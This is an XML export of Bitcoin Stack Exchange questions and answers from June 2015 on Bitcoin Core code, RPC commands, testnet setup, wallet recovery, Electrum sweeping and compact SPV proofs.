  <row Id="37894" PostTypeId="1" CreationDate="2015-06-10T11:27:10.263" Score="2" ViewCount="74" Body="&lt;p&gt;&lt;br/&gt;&#xA;Going through &lt;code&gt;main.cpp&lt;/code&gt; I couldn't completely understand the purpose of a double barrier coded as if-statements:&lt;br/&gt;&#xA;I'm referring to ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3fce72eaa3ea75aa911e32c4d96313848338cede/src/main.cpp#L4981&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;if (pto-&amp;gt;setInventoryKnown.count(inv))&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3fce72eaa3ea75aa911e32c4d96313848338cede/src/main.cpp#L5003&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;if (pto-&amp;gt;setInventoryKnown.insert(inv).second)&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the idea behind checking if an inventory is known to the target peer twice?&lt;/strong&gt; &lt;br/&gt;I'm aware that &lt;code&gt;if (pto-&amp;gt;setInventoryKnown.count(inv))&lt;/code&gt; only checks if entry is known to target peer and &lt;code&gt;if (pto-&amp;gt;setInventoryKnown.insert(inv).second)&lt;/code&gt; inserts the inventory item after checking its uniqueness.&lt;br/&gt;I mean couldn't one just use only &lt;em&gt;one&lt;/em&gt; if-statement combining?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="2306" LastEditDate="2015-06-10T17:13:55.833" LastActivityDate="2015-06-10T19:05:04.563" Title="Two if's before sending an inventory message" Tags="|network|message|c++|inventory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37895" PostTypeId="2" ParentId="37873" CreationDate="2015-06-10T13:17:45.830" Score="1" Body="&lt;p&gt;This is supplied by bitcoincharts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.bitcoincharts.com/v1/csv/&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/csv/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-10T13:17:45.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37897" PostTypeId="2" ParentId="37894" CreationDate="2015-06-10T16:46:44.123" Score="1" Body="&lt;p&gt;I don't see any reason for the second &lt;code&gt;if&lt;/code&gt; statement, either. I'm not speaking from any form of authority here, but it looks like a (tiny) efficiency bug to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second &lt;code&gt;if&lt;/code&gt; statement has been around since the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/e071a3f6c06f41068ad17134189a4ac3073ef76b#diff-118fcbaaba162ba17933c7893247df3aR2119&quot; rel=&quot;nofollow&quot;&gt;first commit&lt;/a&gt;. The first &lt;code&gt;if&lt;/code&gt; statement was &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/f93d5f9ffe1e12079e560a735111735924726a06#diff-118fcbaaba162ba17933c7893247df3aR2338&quot; rel=&quot;nofollow&quot;&gt;inserted about a year later&lt;/a&gt; when &quot;trickling&quot; of tx inv messages was added, presumably to check the set membership earlier to avoid running through the trickling logic when it's not necessary. I'd guess that the removal of the second &lt;code&gt;if&lt;/code&gt; was simply overlooked.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-06-10T16:46:44.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37898" PostTypeId="2" ParentId="37655" CreationDate="2015-06-10T17:29:44.023" Score="1" Body="&lt;p&gt;It is impossible to detect a drop in hashrate working on a chain because foreign hashpower is only evident in the discovery speed of blocks, except if it were deducted from a pool publicly sharing its mining stats. Thus the dropped hashrate would only be evident over sufficient long spans of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only indicator of selfish mining would be the actual publishing of a previously unknown longer chain. I believe I've read somewhere that this will be shown in BitcoinCore with a &quot;Reorganization&quot; warning.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-06-10T17:29:44.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37899" PostTypeId="1" AcceptedAnswerId="37901" CreationDate="2015-06-10T18:53:44.167" Score="4" ViewCount="1839" Body="&lt;p&gt;I'm trying to do research on the age of transaction outputs at the time they are spent. I'm running bitcoind on my computer. I have transactions indexed with txindex=1. I want to take a given TXIN and get the block of the TXOUT it spends so I can calculate the age.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the block a given transaction is included in?&lt;/p&gt;&#xA;" OwnerUserId="26851" LastActivityDate="2015-06-10T19:39:51.627" Title="How do I find out what block a transaction is in?" Tags="|transactions|bitcoind|json-rpc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37900" PostTypeId="2" ParentId="37894" CreationDate="2015-06-10T19:05:04.563" Score="0" Body="&lt;p&gt;I'm not sure if the 2nd if is useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second if does a more detailed check (see &lt;code&gt;mruset.hL50&lt;/code&gt; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3fce72eaa3ea75aa911e32c4d96313848338cede/src/mruset.h#L51&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/3fce72eaa3ea75aa911e32c4d96313848338cede/src/mruset.h#L51&lt;/a&gt;) which i think reduces the size of the set, etc.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-10T19:05:04.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37901" PostTypeId="2" ParentId="37899" CreationDate="2015-06-10T19:39:51.627" Score="4" Body="&lt;p&gt;&lt;code&gt;./src/bitcoin-cli getrawtransaction 4ef653dc90aa25e1a0cc8a45f0484524010e5cc77b8159df6916466c07036482 1&lt;/code&gt; (mind the &lt;code&gt;1&lt;/code&gt; at the end which means you wish verbose output)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;...&#xA;    &quot;blockhash&quot; : &quot;000000000000000009e865d07f75341a5f3dc15f0e149055a241eedd552c3b88&quot;,&#xA;    &quot;confirmations&quot; : 1,&#xA;    &quot;time&quot; : 1433965052,&#xA;    &quot;blocktime&quot; : 1433965052&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-10T19:39:51.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37902" PostTypeId="1" AcceptedAnswerId="37903" CreationDate="2015-06-10T20:00:28.170" Score="4" ViewCount="1781" Body="&lt;p&gt;Is it possible to run another instance of &lt;code&gt;bitcoin-qt&lt;/code&gt; dedicated to testnet/regtest? If so, how do i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is similar to &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2052/running-two-bitcoind-instances-for-different-nets%22&quot;&gt;Running two bitcoind instances for different nets&lt;/a&gt;,&quot; but I want to associate &lt;code&gt;bitcoin-qt&lt;/code&gt;, not just &lt;code&gt;bitcoind&lt;/code&gt;, with the testnet/regtest.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-06-11T13:40:20.517" Title="Running another instance of bitcoin-qt dedicated to testnet/regtest?" Tags="|bitcoin-core|testnet|regtest|bitcoin-qt-setup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37903" PostTypeId="2" ParentId="37902" CreationDate="2015-06-10T20:10:20.167" Score="6" Body="&lt;p&gt;Depending on your OS you can start a 2nd bitcoin-qt acting on a non-mainnet with &lt;code&gt;./bitcoin-qt -testnet&lt;/code&gt; or &lt;code&gt;./bitcoin-qt -regtest&lt;/code&gt; (from a shell). You can also define a custom datadir and place a bitcoin.conf there (use &lt;code&gt;bitcoin-qt -datadir=&amp;lt;path&amp;gt;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On OSX/Mac you would need to use Terminal and run something like &lt;code&gt;/Applications/Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt -regtest&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="18196" LastEditDate="2015-06-11T13:40:20.517" LastActivityDate="2015-06-11T13:40:20.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37905" PostTypeId="2" ParentId="37889" CreationDate="2015-06-11T05:59:42.247" Score="3" Body="&lt;p&gt;&lt;strong&gt;Coins are gone when you can't recover your private key.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have used a non hd wallet (and i think you did), you can check if your bitcoin wallet supports keypools. Keypools are a set of pre-generated keyprairs (pub/privkey) which can be used when a new key is required. Because generating a key (non HD) in a encrypted environment needs to unencrypted (you would need to enter your password), keypools make sense in non-hd wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;strong&gt;keypools&lt;/strong&gt; (and i think you used a non-keypool wallet) there is a chance that your receiving address's private key – which you used after you created your backup – is still on the disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last chance you have is to try to recover your deleted wallet file. Therefore best you could do, stop using/writing on the disk where your wallet was stored. &lt;strong&gt;Filesystems mostly don't really delete files&lt;/strong&gt; (write the bits to 0), they mostly just allow other data to be written in that space. Because of that, you can use undelete software to try to extract deleted data from your disk. You should try to tell your undelete software, how your lost wallet file does look like (files magic, file structure) and this could be hard and probably requires a professional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are always chances to recover data and i hear of people successfully recovering data from physical damaged hard drives (fire, etc.). It always depends on how valuable the lost data is/was. A &lt;strong&gt;data-recovering in the laboratory&lt;/strong&gt; can cost around 1000USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next time it's maybe worth to use a &lt;strong&gt;HD wallet&lt;/strong&gt;. During the creation process you can write down the master seed (sometimes a hex string, sometimes a wordlist, depending on the wallet).&#xA;If using HD, this master seed technically allows you to recover all your possible private keys.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-11T05:59:42.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37906" PostTypeId="1" CreationDate="2015-06-11T06:58:29.620" Score="2" ViewCount="2168" Body="&lt;p&gt;Could some explain how Electrum sweep feature works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand &quot;sweep&quot; can be used only after importing private key into wallet. But private key can't be imported into &lt;em&gt;deterministic&lt;/em&gt; Electrum 2.x wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why it shows me sweep option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It there any ways to sweep paper wallet into &lt;em&gt;deterministic&lt;/em&gt; Electrum wallet?&lt;/p&gt;&#xA;" OwnerUserId="19623" LastActivityDate="2015-11-08T11:56:34.663" Title="Electrum 2.x sweep feature" Tags="|electrum|private-key-import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37907" PostTypeId="2" ParentId="37906" CreationDate="2015-06-11T09:12:52.950" Score="2" Body="&lt;p&gt;The sweep function will send all coins related to the imported private key(s) to a new address (from the deterministic wallet). After sweeping, the private key is no longer capable of spending coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need to &quot;import&quot; the private key in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mind that you need to pay a fee for the sweeping transaction (which is very little).&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-11T09:12:52.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37909" PostTypeId="1" CreationDate="2015-06-11T14:03:04.217" Score="4" ViewCount="161" Body="&lt;p&gt;So I'd like to demonstrate a blockchain based digital currency within my firm. For various reasons, I can't just use bitcoin (or of course I would).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also can't distribute pc exes, hence the requirement for a web based wallet. Security does not need to be paramount. There does not need to be a competition for mining although mining does need to be a component (ie there will probably be just one miner running on one cpu / low priority).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an open source web wallet and counterpart configurable mining system ? I took a quick look at coinpunk but I'm not sure that is still supported / running (last update almost a year ago, website offline?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All suggestions gratefully received.&lt;/p&gt;&#xA;" OwnerUserId="2601" LastEditorUserId="101498" LastEditDate="2021-03-15T20:08:25.160" LastActivityDate="2021-03-15T20:08:25.160" Title="Turnkey Bitcoin test clone for demonstration purpose" Tags="|wallet|open-source|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37910" PostTypeId="1" CreationDate="2015-06-11T14:20:02.067" Score="3" ViewCount="128" Body="&lt;p&gt;All PoW schemes tend to concentrate miners in pools to have a more steady income for the miners, while the major PoS coins, such as NXT, also end up concentrating the stake because of leasing. But, does there exist any cryptocurrency that doesn't tend to centralization?&lt;/p&gt;&#xA;" OwnerUserId="26857" LastActivityDate="2015-06-11T16:08:26.440" Title="Does there exist any cryptocurrency that doesn't tend to centralization?" Tags="|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37911" PostTypeId="2" ParentId="3313" CreationDate="2015-06-11T14:41:58.650" Score="7" Body="&lt;p&gt;Another alternative is btcrecover, available &lt;a href=&quot;https://github.com/gurnec/btcrecover#btcrecover--&quot; rel=&quot;noreferrer&quot;&gt;on GitHub here&lt;/a&gt;. From &lt;a href=&quot;https://github.com/gurnec/btcrecover/blob/master/TUTORIAL.md#btcrecover-tutorial&quot; rel=&quot;noreferrer&quot;&gt;the Tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;btcrecover is a free and open source multithreaded wallet password recovery tool with support for Armory, Bitcoin Core (a.k.a. Bitcoin-Qt), MultiBit (Classic and HD), Electrum (1.x and 2.x), mSIGNA (CoinVault), Hive for OS X, Blockchain.info (v1 and v2 wallet formats, both main and second passwords), Bither, and Bitcoin &amp;amp; KNC Wallets for Android. It is designed for the case where you already know most of your password, but need assistance in trying different possible combinations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It also supports &lt;a href=&quot;https://github.com/gurnec/btcrecover/blob/master/docs/Seedrecover_Quick_Start_Guide.md#seedrecoverpy&quot; rel=&quot;noreferrer&quot;&gt;seed recovery&lt;/a&gt; for deterministic wallets:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;seedrecover.py is a Bitcoin seed recovery tool which can take a seed with one or more mistakes in it, and recover the correct seed if not too many mistakes have been made.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Full disclosure: I am the developer of btcrecover.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-06-11T14:41:58.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37912" PostTypeId="2" ParentId="37910" CreationDate="2015-06-11T15:34:21.810" Score="-2" Body="&lt;p&gt;No. It is impossible. People always want to have more money/power than others.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-11T15:34:21.810" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37913" PostTypeId="2" ParentId="37910" CreationDate="2015-06-11T16:08:26.440" Score="1" Body="&lt;p&gt;With &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;P2Pool&lt;/a&gt; there's no central pool authority so it's as decentralized as it gets. The problem is that miners don't like to use it because it requires a copy of the entire blockchain. I hope this gets fixed with new bitcoind version that allows to prune and delete some history, and would therefore allow to run full nodes with less effort.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-06-11T16:08:26.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37914" PostTypeId="1" AcceptedAnswerId="37920" CreationDate="2015-06-11T18:14:07.073" Score="4" ViewCount="447" Body="&lt;p&gt;Let's say I have an output in the blockchain at height 100,000. At height 200,000, I want to prove that my output has the work of 100k blocks built onto it, securing it. In Bitcoin, proving that the output has X number of hashes securing it requires providing the full chain of headers, or 80 bytes * 100,000. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there an alternative proof of work where these 'work-proofs' do not grow in size indefinitely?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I have found some resources, the terminology for I was looking for is &quot;compact SPV proofs&quot;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-07-29T14:51:56.237" LastActivityDate="2015-07-29T14:51:56.237" Title="Is there a PoW system that shows cumulative work without an ever-increasing proof size?" Tags="|proof-of-work|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37915" PostTypeId="1" AcceptedAnswerId="38003" CreationDate="2015-06-11T19:16:08.327" Score="2" ViewCount="338" Body="&lt;p&gt;Since January, bitcoin trading volume on exchanges has been slowly dropping (more or less, on average), but it's had a significant drop around May 13th, and has stayed low since then. I checked the volume from BTC China mainly, but it seems several (if not all) exchanges exhibit this phenomenon. Up to this point, I'm just &lt;em&gt;stating facts&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: does anybody know about any reasonable explanation for this? I mean, based on facts, evidence, or meaningful experience on the subject. For example, has this happened before? If so, it could be some temporary/cyclic phenomenon, maybe (?). Also, if this happens to be some sort of pattern that has occurred before, can we expect the volume to go up again anytime soon? Is it some sort of &quot;bad sign&quot; ? (as in &quot;this pattern is often followed by a big crash&quot; or something like that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know nobody has the crystal ball, and I'm not asking for unfounded opinions; I just thought that maybe someone with more financial experience or knowledge on the subject (than me, which shouldn't be very hard) could shed some light on this.&lt;/p&gt;&#xA;" OwnerUserId="15404" LastEditorUserId="15404" LastEditDate="2015-06-13T02:55:44.587" LastActivityDate="2015-06-16T01:34:06.890" Title="Bitcoin trading volume: what's going on?" Tags="|trading|volume|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37916" PostTypeId="1" CreationDate="2015-06-11T20:10:00.887" Score="0" ViewCount="276" Body="&lt;p&gt;I am trying to get the entire contents of the &quot;help&quot; command to show up on a web page I am working on. Currently print_r($coin-&gt;help(); shows most of  it, but all of the required parameters, except &amp;lt;'[&quot;key&quot;,&quot;key&quot;]'&gt; under addmultisigaddress, are missing. They show up in the page source, but don't get displayed. I am assuming that it has something to do with them being enclosed in &amp;lt; and &gt;, but I am banging my head against the wall trying to figure out the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The web page shows:&#xA;&lt;code&gt;&#xA;addmultisigaddress  &amp;lt;'[&quot;key&quot;,&quot;key&quot;]'&amp;gt; [account]&#xA;backupwallet &#xA;checkwallet&#xA;createmultisig nrequired [&quot;key&quot;,...]&#xA;createrawtransaction [{&quot;txid&quot;:txid,&quot;vout&quot;:n},...] {address:amount,...}&#xA;decoderawtransaction &#xA;dumpprivkey &#xA;encryptwallet &#xA;getaccount &#xA;getaccountaddress &#xA;getaddressesbyaccount &#xA;getbalance [account] [minconf=1]&#xA;getblock  [txinfo] [txdetails]&#xA;getblockcount&#xA;getblockhash &#xA;getblocktemplate [params]&#xA;getcheckpoint&#xA;getconnectioncount&#xA;getdifficulty&#xA;getgenerate&#xA;gethashespersec&#xA;getinfo&#xA;getmininginfo&#xA;getnetworkghps&#xA;getnewaddress [account]&#xA;getpeerinfo&#xA;getrawmempool&#xA;getrawtransaction  [verbose=0]&#xA;getreceivedbyaccount  [minconf=1]&#xA;getreceivedbyaddress  [minconf=1]&#xA;gettransaction &#xA;gettxout &quot;txid&quot; n ( includemempool )&#xA;getwork [data]&#xA;help [command]&#xA;importprivkey  [label]&#xA;keypoolrefill&#xA;listaccounts [minconf=1]&#xA;listaddressgroupings&#xA;listminting [count=-1] [from=0]&#xA;listreceivedbyaccount [minconf=1] [includeempty=false]&#xA;listreceivedbyaddress [minconf=1] [includeempty=false]&#xA;listsinceblock [blockhash] [target-confirmations]&#xA;listtransactions [account] [count=10] [from=0]&#xA;listunspent [minconf=1] [maxconf=9999999]  [&quot;address&quot;,...]&#xA;makekeypair [prefix]&#xA;move    [minconf=1] [comment]&#xA;repairwallet&#xA;reservebalance [ [amount]]&#xA;sendalert       [cancelupto]&#xA;sendfrom    [minconf=1] [comment] [comment-to]&#xA;sendmany  {address:amount,...} [minconf=1] [comment]&#xA;sendrawtransaction  [checkinputs=0]&#xA;sendtoaddress   [comment] [comment-to]&#xA;setaccount&lt;br&gt;&#xA;setgenerate  [genproclimit]&#xA;settxfee &#xA;signmessage&lt;br&gt;&#xA;signrawtransaction  [{&quot;txid&quot;:txid,&quot;vout&quot;:n,&quot;scriptPubKey&quot;:hex},...] [,...] [sighashtype=&quot;ALL&quot;]&#xA;stop&#xA;submitblock  [optional-params-obj]&#xA;validateaddress &#xA;verifymessage&#xA;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page source shows:&#xA;&lt;code&gt;&#xA;addmultisigaddress &amp;lt;nrequired&amp;gt; &amp;lt;'[&quot;key&quot;,&quot;key&quot;]'&amp;gt; [account]&#xA;backupwallet &amp;lt;destination&amp;gt;&#xA;checkwallet&#xA;createmultisig nrequired [&quot;key&quot;,...]&#xA;createrawtransaction [{&quot;txid&quot;:txid,&quot;vout&quot;:n},...] {address:amount,...}&#xA;decoderawtransaction &amp;lt;hex string&amp;gt;&#xA;dumpprivkey &amp;lt;paycoinaddress&amp;gt;&#xA;encryptwallet &amp;lt;passphrase&amp;gt;&#xA;getaccount &amp;lt;paycoinaddress&amp;gt;&#xA;getaccountaddress &amp;lt;account&amp;gt;&#xA;getaddressesbyaccount &amp;lt;account&amp;gt;&#xA;getbalance [account] [minconf=1]&#xA;getblock &amp;lt;hash&amp;gt; [txinfo] [txdetails]&#xA;getblockcount&#xA;getblockhash &amp;lt;index&amp;gt;&#xA;getblocktemplate [params]&#xA;getcheckpoint&#xA;getconnectioncount&#xA;getdifficulty&#xA;getgenerate&#xA;gethashespersec&#xA;getinfo&#xA;getmininginfo&#xA;getnetworkghps&#xA;getnewaddress [account]&#xA;getpeerinfo&#xA;getrawmempool&#xA;getrawtransaction &amp;lt;txid&amp;gt; [verbose=0]&#xA;getreceivedbyaccount &amp;lt;account&amp;gt; [minconf=1]&#xA;getreceivedbyaddress &amp;lt;paycoinaddress&amp;gt; [minconf=1]&#xA;gettransaction &amp;lt;txid&amp;gt;&#xA;gettxout &quot;txid&quot; n ( includemempool )&#xA;getwork [data]&#xA;help [command]&#xA;importprivkey &amp;lt;paycoinprivkey&amp;gt; [label]&#xA;keypoolrefill&#xA;listaccounts [minconf=1]&#xA;listaddressgroupings&#xA;listminting [count=-1] [from=0]&#xA;listreceivedbyaccount [minconf=1] [includeempty=false]&#xA;listreceivedbyaddress [minconf=1] [includeempty=false]&#xA;listsinceblock [blockhash] [target-confirmations]&#xA;listtransactions [account] [count=10] [from=0]&#xA;listunspent [minconf=1] [maxconf=9999999]  [&quot;address&quot;,...]&#xA;makekeypair [prefix]&#xA;move &amp;lt;fromaccount&amp;gt; &amp;lt;toaccount&amp;gt; &amp;lt;amount&amp;gt; [minconf=1] [comment]&#xA;repairwallet&#xA;reservebalance [&amp;lt;reserve&amp;gt; [amount]]&#xA;sendalert &amp;lt;message&amp;gt; &amp;lt;privatekey&amp;gt; &amp;lt;minver&amp;gt; &amp;lt;maxver&amp;gt; &amp;lt;priority&amp;gt; &amp;lt;id&amp;gt; [cancelupto]&#xA;sendfrom &amp;lt;fromaccount&amp;gt; &amp;lt;topaycoinaddress&amp;gt; &amp;lt;amount&amp;gt; [minconf=1] [comment] [comment-to]&#xA;sendmany &amp;lt;fromaccount&amp;gt; {address:amount,...} [minconf=1] [comment]&#xA;sendrawtransaction &amp;lt;hex string&amp;gt; [checkinputs=0]&#xA;sendtoaddress &amp;lt;paycoinaddress&amp;gt; &amp;lt;amount&amp;gt; [comment] [comment-to]&#xA;setaccount &amp;lt;paycoinaddress&amp;gt; &amp;lt;account&amp;gt;&#xA;setgenerate &amp;lt;generate&amp;gt; [genproclimit]&#xA;settxfee &amp;lt;amount&amp;gt;&#xA;signmessage &amp;lt;paycoinaddress&amp;gt; &amp;lt;message&amp;gt;&#xA;signrawtransaction &amp;lt;hex string&amp;gt; [{&quot;txid&quot;:txid,&quot;vout&quot;:n,&quot;scriptPubKey&quot;:hex},...] [&amp;lt;privatekey1&amp;gt;,...] [sighashtype=&quot;ALL&quot;]&#xA;stop&#xA;submitblock &amp;lt;hex data&amp;gt; [optional-params-obj]&#xA;validateaddress &amp;lt;paycoinaddress&amp;gt;&#xA;verifymessage &amp;lt;paycoinaddress&amp;gt; &amp;lt;signature&amp;gt; &amp;lt;message&amp;gt;&#xA;&lt;/code&gt;&#xA;What gives? Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="26860" LastActivityDate="2015-06-11T22:08:17.377" Title="Display missing parameters in cli help command on web page with JSONRPC" Tags="|bitcoind|client|development|json-rpc|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37917" PostTypeId="2" ParentId="37914" CreationDate="2015-06-11T20:15:39.477" Score="4" Body="&lt;p&gt;You can use SCIP (succinct computational integrity and privacy) for this. (see also &lt;a href=&quot;http://www.scipr-lab.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.scipr-lab.org/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SCIP is a general method that allows you to provide a short, easily checkable proof, for the fact that you know some information which, when input into a given program, results in a given value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could take the program that checks the tx has all those confirmations the normal way, and the use SCIP to generate a short proof of this fact. The proof length does not increase with the size of the data or the runtime of the program, and thus satisfies your requirements. And you can do this without any changes to Bitcoin itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with the currently known methods, generating the proof takes a long time. See &lt;a href=&quot;https://bitcoin.stackexchange.com/a/37920/575&quot;&gt;Nick's answer&lt;/a&gt; for a faster method that applies specifically to this case.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-06-12T07:44:47.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37918" PostTypeId="2" ParentId="37916" CreationDate="2015-06-11T22:08:17.377" Score="1" Body="&lt;p&gt;It's interpreting the &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;'s as html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enclose the help string with &lt;code&gt;&amp;lt;code&amp;gt;$string&amp;lt;/code&amp;gt;&lt;/code&gt;, or run htmlspecialchars on the string.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-06-11T22:08:17.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37920" PostTypeId="2" ParentId="37914" CreationDate="2015-06-11T22:15:39.490" Score="5" Body="&lt;p&gt;There's a suggested change to Bitcoin (adding skiplists to the header) that would make that quite possible. See Appendix B of &lt;a href=&quot;https://www.blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;Blockstream's sidechains paper&lt;/a&gt;,  Efficient SPV Proofs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The inspiration for compact SPV proofs is the skiplist [Pug90], a probabilistic&#xA;  data structure which provides log-complexity search without requiring rebalancing (which is good&#xA;  because an append-only structure such as a blockchain cannot be rebalanced).&#xA;  We require a change to Bitcoin so that rather than each blockheader committing only to the&#xA;  header before it, it commits to every one of its ancestors. These commitments can be stored&#xA;   in a Merkle tree for space efficiency: by including only a root hash in each block, we obtain a&#xA;  commitment to every element in the tree. Second, when extracting SPV proofs, provers are allowed&#xA;  to use these commitments to jump back to a block more than one link back in the chain, provided the&#xA;  work actually proven by the header exceeds the total target work proven by only following direct&#xA;  predecessor links. The result is a short DMMS which proves just as much work as the original&#xA;  blockchain.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Therefore if we want to skip the entire remaining chain in one jump, we expect to search only&#xA;  halfway; by the same argument we expect to skip this half after only a quarter, this quarter after&#xA;  only an eighth, and so on. The result is that the expected total proof length is logarithmic in the&#xA;  original length of the chain.&#xA;  For a million-block chain, the expected proof size for the entire chain is only log2(1000000) ≈ 20&#xA;  headers. This brings the DMMS size down into the tens-of-kilobytes range.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also see Mark Friedenbach's Email on the bitcoin-dev mailing list concerning compact SPV proofs: &lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/32111357/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/p/bitcoin/mailman/message/32111357/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="18196" LastEditDate="2015-07-29T14:50:32.380" LastActivityDate="2015-07-29T14:50:32.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
